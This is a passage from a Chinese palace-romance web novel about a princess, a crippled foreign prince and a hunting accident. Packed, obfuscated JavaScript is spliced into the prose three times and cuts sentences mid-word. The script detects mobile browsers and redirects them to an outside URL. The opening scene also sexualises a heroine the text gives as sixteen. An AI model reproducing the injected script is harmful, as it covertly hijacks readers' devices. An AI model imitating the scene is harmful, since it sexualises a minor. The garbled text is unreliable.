宋砚辞闭眼长舒一口气,嗓音似金属颗粒相互摩擦发出的沙哑,“公主坐稳了,前面便是寝……嗯。” 姜稚月没让他说完。 宋砚辞的轮椅够大,她大着胆子一个翻身便跪坐在了他身上。 此处恰是璋华殿寝宫与花园联通的一条小路,因是近道,平日里白天便没什么人经过,更遑论晚上。 小径只有两步宽,原本就只能容下宋砚辞的轮椅通过,此刻头顶又恰好有两枝繁盛的海棠花枝垂下,将姿态暧昧的两人遮得严严实实。 从远出只隐隐能看到一片白色锦缎和红色纱裙的衣角,紧紧纠缠在一起。 红色纱裙被水浸湿,水渍缓慢泅染上白色锦缎,直至难舍难分。 潮湿朦胧的月色下,幽幽的花香旖旎。 姜稚月虽是未经人事的小姑娘,但这几日听石嬷嬷同她讲了许多,况且……方才她分明从宋砚辞的眼底看到了一个男人对女人的欲//念。 若说之前还有怀疑。 当她坐上来的一瞬间,大腿触及某种灼热,便什么都肯定了。 8. 第 8 章 “执玉哥哥分明也是对我动情的,不是么?” 宋砚辞侧首移开视线,喉结随着说话的动作轻滚,“此处是璋华殿,公主自重。” 姜稚月逼近他。 十六年多最荒谬,也是最惊世骇俗的一次。 她的心脏几乎都快跳出了嗓子眼,耳朵红得能滴出血来,却仍大着胆子将手探上他的胸膛,缓慢下移。 “执玉哥哥的意思是,倘若不是在璋华殿……” “阿月!” 宋砚辞猛地回神,一把攥住她的手腕,幽深的眼底盛着怒意,蹙起眉,哑声怒斥: “别胡闹!” “嘶……” 姜稚月皱眉,眼底瞬间漫上水雾,“疼。” 宋砚辞瞧见纤细胳膊上被自己攥出的红痕,陡然回神,倏地松开了她。 结果那姑娘还是抚着手腕,垂眸一滴一滴落起了泪来,可怜兮兮地小声抽搭。 宋砚辞压着眼帘瞧了一瞬,眉心不自觉蹙紧,手臂犹豫地抬了抬,最后轻叹一声,修长手指轻轻拭掉姑娘脸上的泪珠。 “是我不好,别哭了,嗯?” 他的语调带着轻哄意味,怀里的小姑娘抽噎了几下,点了点头。 “执玉哥哥……” 姜稚月因泡温泉,身上本就没穿多少,又全湿透了紧挨着他。 少女揉着眼睛,抬头看他时,动作间腿上相触的地方压得更实。 宋砚辞身子一僵。 他移开视线,用舌尖重压向齿尖,尖锐的疼痛唤回理智: “公主坐正,我送你回去。” “执玉哥哥……” 姜稚月又唤了一声。 宋砚辞蹙眉,张了张嘴,还未发出声音,对面的少女忽然将身子压了过来。 那双软糯的红唇微微轻启,含住了男人的喉结,小舌飞快打转儿在那嶙峋的尖儿上舔//弄了一下。 喉结在她口中滑滚,一声闷哼猝不及防从男人的喉间溢出,掐在她腰上的手也猛地收紧,几乎攥疼了她。 姜稚月忍着羞赧,从他喉间移开,柔软的唇带着濡湿一路蜻蜓点水般,沿着他的脖颈吻到下颌。 男人浑身火热,硬朗的胸膛随着她一点一点的吻而起伏越来越剧烈。 “执玉哥哥……” 姜稚月的唇停在他唇角,四瓣唇若有似无地触碰,少女嫣红的唇瓣水光娇娆,仿若染了一层蜜。 小姑娘分明青涩到颤抖,却又羞赧得娇艳,似一朵徐徐绽放的牡丹花,莹嫩如凝脂的肌肤从内透着桃//色。 “阿月,别……” 宋砚辞冷白的眼尾染上红晕,粗重喘息的热意喷洒在她红透的耳根。 “执玉哥哥,你也想吻阿月,对不对……” 她缠着他的唇,似要亲近却又隔着分毫距离,引他步步紧追。 娇容泛起潮红,软糯的唇淬了蜜,勾得人恨不得一口吞吃入腹,再不留余地。 “执玉哥哥……” 姜稚月双臂缠上他的脖颈,小手指一下一下抚过他颈后那块儿凸起的骨头上。 像乍然引爆炸药的火星儿。 男人呼吸重重一沉。 宋砚辞浑身血液骤然激涌,眼神猛地一黯,压着她的后脑不由分说地欺身吻了上去。 唇瓣相贴的一刹那,两人的身子俱是一颤。 姜稚月头脑空白,盈在眼眶里的泪不受控制地溢出。 她把腰塌进他的怀里,任他更紧地握住,男人的手指一寸寸收紧、摩挲,姜稚月浑身血液骤然激涌。 少女柔软的唇瓣轻轻张开,颤巍巍探出小舌。 可就在湿软的舌尖触碰到男人温凉唇瓣的刹那,宋砚辞身子骤然一僵,随之紧握住她的双肩,将她一把推开了去。 “执……” “抱歉,是我僭越了。” 宋砚辞出声打断她的话。 他的嗓音染着情欲的浓重喑哑,淡色的唇被她舔上暧昧水渍。 然而他眼底的欲望却退得一干二净,神色甚至比之从前的清冷更加疏离,只冷冷地看着她。 姜稚月心底涌起酸涩,既难堪又委屈。 她张了张嘴,正要开口,忽听不远处传来许多人声。 两人之间仅有的旖旎被打破。 姜稚月眼底含泪,慢吞吞从他身上下来,紧紧拢着披风,一步一步朝人声处走去。 宋砚辞转动轮椅,跟在她身后,沉默着不发一言。 树影将二人的影子不断切割、融合、再切割。 像是方才的一切从未发生过一般。 姜稚月回到寝殿的时候,锦葵早已拿了大氅在院外候着。 见她回来,匆匆跑来将大氅披在她身上,看了眼不远处的宋砚辞,扶着姜稚月进了屋。 重新梳洗过后,姜稚月也竭力整理好了情绪。 瞧了瞧镜中毫无破绽的自己,重重呼出一口起身带着锦葵去了正殿。 璋华殿出了这么大的事,咸德帝和太子早就知晓。 姜稚月刚走进院子,就见正殿里灯火通明。 璋华殿所有在册的侍卫丫鬟,乌泱泱在院中跪了一地,百来号人的院子里却静悄悄的,连一片枯叶落在地上都能听见。 她往人群中扫了一眼,抿了抿唇,垂眸走进了殿中。 太子、宋砚辞和宋知凌都在。 姜稚月借着跨过门槛的功夫,飞快往宋砚辞身上扫了一眼。 男人换掉了之前身上穿的雅白色长衫,换了件水蓝色云缎锦袍,骨节分明的手指间握着一只茶盏,在她进来时,冲她微微颔首,又神色如常地收回视线。 姜稚月那股好不容易压下去的酸涩又不小心泛了上来。 她忙深吸一口气,走到太子跟前,糯糯地唤了声“哥哥”。 太子往她身上上下扫了两遍,确定她没什么大碍后,在她头上轻轻拍了拍: “吓着了?” “没有。” 姜稚月摇头。 “坐吧,锦葵,给你家姑娘倒碗安神汤……” 太子在姜稚月旁边坐下,“太医刚熬的。今夜多亏了宋三皇子和四皇子。” 姜稚月双手捧着碗,小口小口抿着,闻言这才光明正大朝对面二人投去目光,“多谢。” 宋知凌担忧的目光不加掩饰,眉头都拧成了“川”字,闻言忍不住气道: “谢什么?你莫不是吓傻了,自己受了那么大的惊吓,还谢我们?” 手里的汤药烫得姜稚月娇嫩的指腹微微发红,她换了下拿碗的位置,竭力忽略另一道视线,对宋知凌做了个鬼脸儿。 宋知凌哼了一声,移开目光,一副不愿意搭理她的样子。 太子视线在姜稚月和宋知凌身上来回逡巡了一圈,指节轻叩了一下桌面,唤回姜稚月的注意。 “宋四皇子方才已将所有线索告知于孤,阿月想想,自己可还有什么错漏的线索?” 这话一出,宋知凌又转头重新看向她,大殿中三个同样俊美的男人的目光,全都紧紧落在她的身上。 姜稚月恰好喝完了安神汤,闻言放下碗,垂下眼帘,用帕子缓慢地擦拭唇角。 太子将她的犹豫看在眼里,并未催促。 过了几息,姜稚月抬眸,语气平静: “哥哥应当心中已经有了决断,阿月只是一介什么都不懂的女郎,一切交由哥哥定夺便是。” - 夜里。 殿中虽按太子吩咐,燃了太医特意调配的安息香,姜稚月还是久久辗转不能成眠。 遇刺的惊吓,熟悉之人的背叛,以及……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朱砂和锦葵都是从小陪她一起长大的,三人情同姐妹。 但其实在昨夜,姜稚月心中就已隐隐有了预感。 她沉默片刻,深吸一口气,看向太子: “既然朱砂都已自尽,那哥哥若是审完璋华殿中那些人,如果确实无辜,便从轻处罚吧。” 姜稚月知道,经此一事,昨夜那些侍卫定是要受到牵连的。 她想了想,又道: “朱砂的尸体劳烦兄长派人厚葬吧,但死讯需传至整个后宫,至于她的家人……也请兄长派人暗中保护,好生抚恤。” 太子听她说完,不由笑道: “何时我的阿月也学会恩威并施了,如此,今后便是嫁了人,我与你阿姊也不必担心你被欺负了。” 太子因着还有朝臣等着议事,没留多久便走了。 姜宜宁留下来陪姜稚月用午膳。 姜稚月同她说起那日碰见那个女人之事,姜宜宁也没问为什么,便答应她在宫外派人留意着。 之后姜稚月本想再问问梁邵这几日有何异常,但看着姜宜宁提起源哥儿时一脸幸福的模样,话到嘴边又咽了下去。 倒是姜宜宁,将她重新上下打量了一遍,关切道: “宋三皇子也是个不会武的,昨夜他送你回来的路上,你们再没发生什么吧?” 姜稚月正喝了口水,闻言被呛得咳了好几声才停下来。 她心虚地移开视线,抿了抿唇,语气不自然道: “没、没有……” 9. 第 9 章 二月十八这日,姜稚月的外祖父,前国丈英国公裴世儒携妻儿老小进了京。 裴家原是江东的名门望族,后来自裴世儒祖父一辈高中探花,留京任职后,裴世儒这一支便跟着定居在了京城。 再后来裴家又出了位孝贤皇后,也就是姜稚月和太子及姜宜宁的生母后,荣极一时。 但裴世儒深谙韬光养晦的道理,在五年前裴皇后薨逝后,便以思女心切、悲恸伤身为由,急流勇退,举家重回了江东。 如此,姜聿祉的太子之位才得以坐稳。 而这次裴世儒带着家眷进京,一则是为了探望几个外孙和外孙女。 另一则,却是为着八月初九,裴皇后五周年忌辰而来。 裴家进京十分低调。 早几日进献的礼物等都已由礼部官员检查后送入宫中,裴家人则只带了极为轻便的家当,坐着极不起眼的马车,在二月十八日晚间进的城。 一家老小十数口人,只带了管家和三五婆妇小厮,趁着夜间住进了太子安排好的府邸。 直到第二日,有人将裴家府邸前装卸马车,才知是英国公回了京。 “公主若是想去,倒可以和太子殿下一起去瞧瞧。” 锦葵替姜稚月梳着发,将昨夜裴家人进城之事讲了一遍。 姜稚月瞧着镜中没精打采的自己,伸手在脸上揉了一把,叹气道: “算了,这几日这幅样子难看得很,不想出去见人,左右过几日父皇会在宫中设宴招待他们,到时候再见也不迟。” 过了三日,咸德帝果然下旨在昭文殿设宴款待英国公一家。 姜稚月得了消息,从前一日晚间便开始敷珍珠粉、抹玫瑰露,又喝了太医特别调制的消肿养颜汤,早早的便上塌休息。 到了第二日晚宴的时候,昭华公主一袭石榴红裙,峨眉云鬓,果然容貌倾城,光彩夺目。 丝毫看不出分毫前两日的颓败之色。 此次同裴世儒一道回京的,除了长子及二子,还有裴家长孙,也就是姜稚月的表哥裴淮礼一家四口。 姜稚月进去的时候,咸德帝和惠妃还没来。 她一一问过众人,视线落在裴淮礼身上,往他身边扫了扫,笑问: “表哥怎的一人在此,表嫂呢?” 裴淮礼把给姜稚月的见面礼递到锦葵手上,笑道: “她去接二妹了,是以来得晚了些,想来已经在路上了。” 话音刚落,便听殿外小黄门引着人进来。 姜稚月对裴淮礼笑了笑,同他一道回头,待看清门口进来的人时,笑意刹那间落了下来。 殿中金碧辉煌,灯火通明,莹莹光亮落在门口的丹墀上。 走在前面的美貌妇人手牵一四五岁大的孩童,另一只手却挽着姚盈初的手臂。 而在姚盈初身旁,是姜稚月有几日未曾见到的宋砚辞,那两人在一起,格外刺眼。 姜稚月怔怔地立在原地,看着白衣清雅的男人越靠越近。 许是察觉到她的目光,宋砚辞亦回看过来。 在瞧见她今日的打扮时,男人动作明显一顿,眼神在她脸上多待了片刻。 姜稚月心底那被压了几日的情绪似乎又有泛滥的趋势。 她慌忙收了视线,正要回头,身边靠过来一个婢女,轻声道: “六公主,我们殿下请您过去一趟。” 姜稚月顺着她的话,见大殿靠近上首的左前方位置上,姜宜宁正笑着对她招了招手。 她暗自稳住情绪,回身对裴淮礼致歉后,拢了拢鬓发,转身朝着姜宜宁的方向迤迤然离开。 “要不要喝酒?” 姜宜宁拉她坐下,给她杯中添了杯果酒,“这梅子酒是我府上的酿酒造的,我尝着不错,专门给你留了些。” 姜稚月抬手一口将酒闷了,还不忘语气烦闷地叮嘱她: “二姐出月子没多久,可不能贪嘴多喝。” 姜稚月眼神恹恹的,两个小脸也气鼓鼓的微微撑着,眼神还时不时往宋砚辞那边瞥一下,却强撑着挺直脊背,依旧维持着一副美艳照人的模样。 姜宜宁有些好笑,顺着她的目光往那边扫了眼。 “我以为你知晓姚盈初与表嫂之间的关系。” 姜稚月不语,自顾又倒了杯酒。 姜宜宁接着道: “姚盈初是表嫂的从妹,不然你瞧表嫂为何也姓姚,去年姚盈初本是欲去江东找表嫂,后来得知外祖父一家不日会进京,她便先一步来了京城,谁料外祖父他们耽搁了一番,直到今年过完年才来京。” “她们竟然是从姐妹?!” 姜稚月瞪大眼睛,有些不可置信。 她从前只知道,姚盈初是宋国人,与宋砚辞是旧相识,却不想……还与表嫂是姐妹。 “那这么说……” 姜稚月压低声音,“表嫂也是宋国人?!” “嗯。” 姜宜宁点头,“宋国名士姚元忠的后裔,祖父是宋国的杏林高手。” 姜稚月哦了一声,没说话,显然还在消化方才姜宜宁的话。 另一边,裴世儒与宋砚辞对饮一杯。 裴世儒笑道: “几年未见,执玉如今越发一表人才。” 宋砚辞淡笑: “裴老抬举,不过是个双腿残疾的废人罢了。” 裴世儒看了眼他的腿,声音严肃了起来: “我这次进京,带了一味奇药,兴许能对你的腿疾有帮助,回头让姚丫头帮你看看。” “好。” 宋砚辞抬了抬手中酒盏: “多谢裴老记挂。” 月影西移,昭文殿酒至正酣。 姜稚月饮多了酒心中更加烦闷,遂起身出去散酒气。 丝竹管弦和辉煌灯火在身后渐不可察。 她寻到园中一处廊下坐定,靠在廊柱上仰头看天,不经意轻叹出声。 夜里的朔风寒冽。 姜稚月将小脸缩进大氅领子上的白色狐毛中,只留下一双微微泛红的杏眸。 过了不知多久,身旁忽然极轻地传来一阵声响。 “你也出来散酒么?”姜稚月依旧望着远处殿宇。 她对他身上的气息实在太过熟悉,熟悉到不用回头都知道来人是谁。 宋砚辞停了下来,廊庑的阴影落在他眼底。 良久,他从姜稚月身上收回视线,敛眸望向膝上自己青筋蜿蜒的手。 “那夜……” 寒风拂过,将她身上的甜香带了过来,同她唇上的味道一样。 膝上的手指蜷了蜷。 “那夜是我一时糊涂冒犯了公主,还望公主莫要计较,若是可能,希望公主当做此事从未发生过。” 男人的嗓音十分好听,清越又带着磁性,在静谧的夜里,犹如一汪干净的泉。 姜稚月依旧抬头望着远处,两条纤细的小腿前后晃了晃,粉色绣鞋鞋尖上一窜大小整齐的珍珠在月色下熠熠发光。 过了良久,她方收回目光,缓缓回头望向侧后方的男人。 “可是明明被你亲过,怎么能做到当做没发生过呢?” 少女的声音软糯又娇气,不似诘问,倒更像是自言自语。 夜风吹动檐下宫灯轻晃,将他的神情照得半明半昧。 姜稚月在他清冷昳丽的面容上,找不到半丝情绪的破绽。 她就着月光看了他许久,最后轻笑一声,从扶手上跳了下来,笑得眉眼弯弯: “抱歉啊,出来久了,我也该回去了,执玉哥哥请便吧。” 她将这十六年所有的勇气,都耗干在了那一晚。 ——昭华公主可以不在乎名声和矜持,但姜稚月却无法不在意宋砚辞将她推开时眼底的疏冷。 她没有勇气再去问,他与姚盈初到底是什么关系。 也没力气追究,那夜的吻他分明也动了情。 能够不露怯意地与他单独在一处,在他的目光中待上一炷香的时间,她觉得自己已经算得上勇气可嘉。 姜稚月没再回昭文殿,托了个小厮对太子和姜宜宁回禀了一声,便回了自己的寝宫。 回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279259|166760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去的时候,锦葵明显有些心不在焉,帕子在一个花瓶上擦了好久都不带动弹。 姜稚月看了她一眼,叹了口气,“走吧,将书架第三层左侧的那些纸拿上,随我去偏殿。” 锦葵闻声猛地惊醒,正要回话,姜稚月已走了出去。 她匆匆拿上她说的那些纸走到偏殿。 殿内已经提前摆上了一盘瓜果,还有朱砂从前最爱吃的蜂蜜糖块儿。 前面焚着三炷香,底下是一个炭盆。 锦葵脚步一顿,“公主……” “今日头七,你也来给她送点钱吧,从前活着的时候就抠抠搜搜,赏赐给她的珠宝首饰从来舍不得用,都给了家里的弟媳——” 姜稚月把下巴搭在膝盖上,怔怔看着纸张燃烧窜起的火焰,语气闷闷的: “现在好了,也用不上了。” - 天气一日日回暖。 每三年,朝廷会在京郊的皇家围场举行一次春狩。 今年的春狩眼瞅着再过三日就要进行,兵部和礼部官员忙前忙后几乎脚不沾地。 姜稚月拿着册子进到东宫的时候,兵部尚书陈放正从里面脚步匆忙地出来,见到姜稚月,对她行了一礼,又匆匆离开。 姜稚月看了陈放一眼,转身上了阶墀。 “哥哥这几日辛苦了。” 她接过锦葵手中的食盒,捧了碗参汤笑眯眯奉上,“我亲自盯着人熬的。” 太子洗手的动作一顿,回头往她手上看了看,原本紧缩的眉松开,眼里有了笑意。 路过窗边时,故意往外看了一眼,调侃道: “太阳打西边出来了,阿月还知道关心起哥哥了。” 姜稚月噘了噘嘴,一副不乐意的样子,“说的好像我从前多狼心狗肺似的。” 太子轻笑出声,接了她手里的参汤喝了一口,“不错。” “阿月找我何事?” 姜稚月撑着下巴,看他喝完,这才将那本蓝皮册子拿出来,翻到其中一页上面,指了指上面的名字: “哥哥给我讲讲这个人吧。” 太子放下碗,神色古怪地盯着姜稚月看了半天。 “其实……” 他张了张嘴,不知如何说才好。 这册子是他给她的,当初也确实希望她能忘了宋砚辞,在这册子上择一佳婿。 但…… 他斟酌着用语,看着那册子上男子的画像,“阿月可是当真看上顾思恒?” “唔。” 姜稚月只当没看出他神色中的犹豫,笑道: “此人与薛姐姐是表姐弟,又是行武出身,家族世代武将,我若是……嫁给他,他倒也能护我周全不是。” 太子盯着她瞧了片刻,将册子合上,拧眉正色道: “那日我与祖父的谈话你听到了对不对?” 姜稚月低头扣着指甲,没说话。 “阿月,看着哥哥。” 太子声音微扬,在她看过来后,严肃道: “孤是太子,这江山社稷有孤与父皇撑着,即便边关战事吃紧,也无需你牺牲自己的幸福来笼络群臣。” “哥哥说笑了,何来牺牲一说,还是说哥哥对给我所选之人的人品没信心?况且哥哥不是也希望我能走出来么?” 姜稚月重新低下头去,绞了绞帕子,小声嘟囔: “不试试怎么知道,我这辈子就不会喜欢上旁人呢?” 其实还有一点她没说。 方才兵部尚书出去的时候,脸上愁云惨雾,明显不是为了春狩一事发愁。 而且朝中可用的武将多在西北边关一带,江东金陵那边兵力布防确实薄弱,而朝中,唯有顾家善水战。 但顾思恒的祖父顾老将军,以前因先皇听信佞臣谗言而被贬谪,后来死在了流放路上。 是以这一次战事虽紧,顾思恒的伯父却一直称病不出。 太子看了看自己的妹妹,最后轻叹一声,松了口: “罢了,既如此,三日后春狩你也一道跟着去,先去瞧瞧那顾思恒本人再说。” 10. 第 10 章 天气渐暖,二月二十是个阳光明媚的好日子。 围场上草长莺飞,终于让经历了一整个严寒凌冬的众人,感受到了春日的勃勃生机。 姜稚月身穿精致紧身的大红色骑马装,身披宽大雪白大氅,手握缰绳坐在马背上。 整个人看起来娇俏又飒爽。 “你总是往武将席上看什么呢?那日你父皇设宴款待英国公,我感了风寒没去,你是不是很失望?” 宋知凌驱马从身后赶来,与她并排,侧首看她。 阳光下,小姑娘白皙的脸颊白里透粉,如明珠生辉、美玉荧光,卷翘纤长的眼睫小扇子似的轻扇,鼻尖小巧挺拔,口如朱丹。 像是一朵绽放的牡丹,比从前更加娇艳。 “嘶……” 宋知凌拉了拉缰绳,面对着她,眉梢一挑,“我发现有段时日不见,你好似……又长大了些。” 姜稚月原本注意力还在远处的顾思恒身上,闻言一愣,转头朝宋知凌看来。 见他目光不住往自己身上瞟,还有眼中那故意调侃的意味,饶是再迟钝,她也缓缓回过味来。 姜稚月猛地捂紧身上的披风,一张小脸涨红,狠狠瞪了他一眼,扬起鞭子就要抽过去: “死冬瓜你胡说什么呢?!” 幼时宋知凌比姜稚月和宋砚辞都长得矮,所以姜稚月给人起了矮冬瓜的称号。 这几年他早就窜得比她高过了一头多,不过这外号还是被姜稚月保留了下来。 “哎哎哎夸你呢!” 宋知凌一把抓住她挥来的鞭子,左躲右闪,“我、我错了,我的小祖宗手下留情!” 姜稚月哼了一声,抽回鞭子,看了他一眼,不放心地又把披风裹紧了些。 “哎,说真的,咱俩好久没有赛一场了,来不来?这次我让你先跑。” “谁要你让。” 姜稚月翻了他一眼,“等会儿再说吧,我这会儿还有点儿事。” 场上人声嘈杂,姜稚月绕过他驱马就走,结果才刚走出两步远,她又忽的顿住。 不远处围栏外的看台上,宋砚辞一人孤零零地坐在轮椅上,手中握着一支金头箭矢在缓慢摩挲。 他今日难得穿了一身枣红色锦袍,阳光落在他身上,显得皮肤白皙健康了不少。 他身上衣衫的两袖还带着玄色臂缚,腿上没盖茵毯,墨发用金冠高束,整个人看起来比平日要张扬恣意得多,就连眼角那颗泪痣似乎都变得鲜活了。 若非双腿还坐着轮椅,便同场中策马狂奔的儿郎没什么区别。 在姜稚月不经意看过去的时候,他已经在注视着她了。 也不知看了多久,摩挲箭矢的指尖被风吹得微红。 姜稚月在他的视线中,忽然无端生出一种莫名的心虚。 她对他扯了扯唇角,低头拢紧披风,匆忙纵马往顾思恒所在的武将席而去。 顾思恒没想过有朝一日,昭华公主会约他去骑马。 他紧张地都不敢直视她的眼睛。 “公主说去哪,顾某自当奉陪便是,一切全凭公主定夺。” 姜稚月有些好笑地看着眼前比自己大不了两岁的少年,歪了歪脑袋,随手指了一条路,两人便一前一后地骑马往那边去。 “你不必拘谨,说起来,你表姐是我准嫂嫂,我们还沾着些亲故呢。” 姜稚月语调轻快,甜美的嗓音陪着明艳如光华的眸子,顾思恒只看了一眼便晃了神。 过了半天方回过神应了一声。 “对了……” 姜稚月侧头看替自己清理前头树枝的少年,抿了抿唇,问道: “你伯父……顾将军的病好些了么?” 瞧着他明显一顿的身影,姜稚月狠了狠心,继续道: “……我可以让父皇派宫中御医去给你伯父瞧瞧。” 顾思恒慢了下来,低头沉默片刻,强笑道: “谢公主好意,只是伯父他……” 还没说完,远处忽然骑马本来一个士兵,大声道: “顾大人!围场守卫出了些问题,陈大人让我过来叫您过去一趟!” 姜稚月一愣,忙让开些,“那你快去吧,别耽搁了差事!” 顾思恒欲言又止了几番,最后对她略带歉意地一颔首,打马扬长而去。 姜稚月愧疚地望着他的背影,小脸鼓了鼓,幽幽叹了口气。 “啧……人都走远了,还在这依依不舍地看呢?” 姜稚月一愣,倏地回头,果然见宋知凌一脸阴阳怪气的样子。 她瞪他一眼,“与你何干,方才的事我还没彻底原谅你呢,你……你拽我干嘛?!” 姜稚月甩了甩手腕,“放手!” “不放!” 宋知凌也拗了起来,驱马逼近她,“你说清楚,你不会是想招他为婿吧?” 姜稚月蹙眉,一脸不悦,“松开!宋知凌你凭什么管我?!” “好,我不管你,那我哥呢?!” 宋知凌松开她的手腕,指了指不远处的宋砚辞,“你放弃我哥了么?!” 见宋砚辞看过来,虽然知道隔得这么远他什么都听不见,姜稚月还是又气又急。 她一把挥开他,红着眼眶怒斥: “你根本什么都不懂!你凭什么说我?!” “我怎么不懂,我……” “你别烦我!” 不等宋知凌把话说完,姜稚月一夹马肚,重重抽了一马鞭狂奔出去。 “阿月!” 宋知凌也知道自己方才看见她和别的男人在一起,吃了醋,说话没轻重,慌忙跟了上去。 奈何姜稚月最近一段时间,心中憋了许多羞愤和酸楚,这一吵彻底爆发了出来。 她没命一般狂抽马鞭,只想快点儿再快点儿。 任凭耳畔风声呼啸,身体被颠得七荤八素,眼泪也模糊了视线,企图将所有难过的情绪尽数宣泄出来。 所以她根本没听到身后宋知凌目眦具裂的呼喊。 场中所有人都瞧见了那两道飞奔的身影,人群中早已乱作一团。 眼见马背上那个红白的身影朝着悬崖飞奔而去,丝毫没有停下的意思,坐在场边的宋砚辞额角青筋猛地爆了起来。 …… 围猎场上的虚惊一场,受伤最重的居然是宋国三皇子。 一时间,众人各种揣测的言论甚嚣尘上。 姜稚月被宋知凌保护得很好,只除了手臂上有一处指甲盖大小的擦伤。 锦葵轻轻替她上药,小心翼翼觑着她的神色。 姜稚月神色呆滞地盯着眼前的地面。 从前最是怕疼怕留疤的姑娘,现下却一点儿反应也没有,仿佛被人施了定身术一般。 旁人或许不知晓宋砚辞受伤的真正原因,她却是知道的。 因为最后他摔倒那一下,她是看见了的。 姜稚月眼底不受控制漫上酸楚的水雾,心中情绪复杂。 宋砚辞是因为她而断了腿,那断掉的不仅仅是他的腿,还有他的后半生和他的所有骄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见薛凝睁着微微诧异的眼神仰头看自己,太子掩着唇轻咳一声,移开视线: “若是实在想骑,只能和孤同乘一骑。” 太子话音刚落,姜稚月就见薛凝的脸一下子红了起来,低下头软绵绵的应下。 姜稚月“啧”了一声,看热闹般顺手抓了一把瓜子。 结果第一颗瓜子还未磕完呢,太子忽然又回头看了她一眼,语气冷硬: “还有你,再不当心孤现下便将你遣送回宫!” “……” 姜稚月含着的半颗瓜子都没来得及咽下,闻言对着薛凝无辜眨了眨眼。 太子走出两步,回头往两人身上扫了一圈,最后落在薛凝身上,“还不走?!跟孤用膳去。” 薛凝低低哦了一声,对姜稚月抱歉一笑,转身小步跟了上去。 太子一走,姜稚月捧着瓜子嘴角都要咧到了耳后。 神奇啊神奇。 一贯温婉贤良的薛姐姐原来在他哥面前这么娇滴滴的。 而他那个温润端方的哥哥,在薛姐姐面前这么霸道的……吗? 经了来探视的这两波人,姜稚月的心情彻底好了起来。 她想了想,让锦葵给她重新梳妆打扮,换上一身娇俏的鹅黄色裙装,出了门。 11. 第 11 章 姜稚月的身影才一出现在帐外,宋知凌就跟狗闻到了肉味一样跟了上来。 姜稚月正眼都不瞧他一下,径直仰着小脸从他身边走过去。 宋知凌自知自己方才犯了错,也不敢出声,只默默跟在她身后,摆出一副可怜兮兮地模样对锦葵作揖乞求。 不过锦葵随了她的主子,也正眼未瞧他一下,还多加了一声轻哼。 听见锦葵那声轻哼,姜稚月到底没压住唇角的弧度,“扑哧”一声笑了出来。 “好祖宗,您总算笑了,小的我知错了,您别生气了可好?” 宋知凌冲到姜稚月身边,一把替她揽过手中的提盒,一脸谄媚。 姜稚月哼了声,“我现在还有点生气,不想理你。” “那祖宗什么时候生完气?” 姜稚月站定,假模假样地认真思考了半天,最后双手叉腰摆出一副大度的模样,伸出一根手指头晃了晃: “本公主大度,一个时辰好了。” 打发了宋知凌,姜稚月往宋砚辞帐子的方向看了眼,抬脚朝那边走过去。 围场地势平坦,帐子与帐子之间没什么围墙。 离得还有些距离,姜稚月便瞧见一个婢女穿着的女子捧着个托盘从宋砚辞帐中走了出来。 她脚步一顿,手放在眉上遮着太阳眯眼看了看,奇怪道: “那不是惠妃身边的么?怎么也来找执玉哥哥?” 锦葵也跟着肯定,“奴婢记得她是叫流云来着。” 姜稚月蹙了蹙眉,想着许是父皇的授意,一时便也没再深思下去。 两人一路走来停在帐子门口,姜稚月和锦葵对视了一眼,正要掀帘进去的时候,忽听帐中传来姚盈初的声音。 姜稚月的表情一滞,动作僵在了原地。 姚盈初的声音听起来似是带着些许心疼的哭腔: “殿下感觉如何了?你要是疼,便说出来,别忍着。” 姜稚月攥紧湿腻的掌心,屏息等了半天,听见宋砚辞沙哑低沉的声音断续响起: “无妨,你继续就是。” “那……” 姚盈初语气犹豫,“我要将殿下的裤管再往上些,殿下若是介意,盖着毯子。” “好。” 这次他应得极快。 姜稚月鲜明的小脸在阳关下忽然有些煞白,缓缓将搭在帘上的手握成拳,放了下来。 她怔怔回眸,对一脸担忧的锦葵扯了扯唇: “宋知凌人呢?我突然反悔了,不用一个时辰了。” 帐中似乎又传来那两人的声音,姜稚月提着裙摆慌张离开,一句话也没再听清。 宋知凌能看出姜稚月心情不好,大抵也知道是为了什么。 他一面陪她往马场走,一面道: “陪你赛马那是不可能的,你太子哥哥定然也不同意,不过我可以带你去后山转转,那里有片花海,可美了。” 姜稚月不想跟他多费口舌争辩,有气无力地点点头。 宋知凌牵来一匹马,扶着姜稚月上去,不紧不慢地牵着缰绳晃去了后山。 说是后山,不过是围场一片凸起来的小山丘。 一眼望去,山丘上种满了大片大片的紫丁香,也不知为什么,在这个季节全都盛放着。 再远处是一条小溪,宋知凌将她放下,拉着她来到溪边。 “你看!” 小溪清澈见底,阳光一照远处的水面波光粼粼。 然而最神奇的,还是水中的游鱼。 因为水质太过清澈,那些各色小鱼,就像是在空中飘来飘去一样。 “呀!” 姜稚月从前总是听说“皆若空游无所依”,今日却是头一遭见到。 宋知凌见她情绪好了些,挑眉傲娇道: “你再去抓一抓它们试试。” 姜稚月半信半疑地看了宋知凌一眼,拉起袖子。 溪水还有点冰凉,手一进去就带走了心里的烦躁,姜稚月轻轻将手做捧,从一个红白相间的胖嘟嘟的小鱼身下缓慢抬起来。 原本还怕那鱼被惊走。 结果它非但没游走,被她捧起来的时候,还摇着尾巴晃动着肥嘟嘟的身体,在她掌心啄了啄。 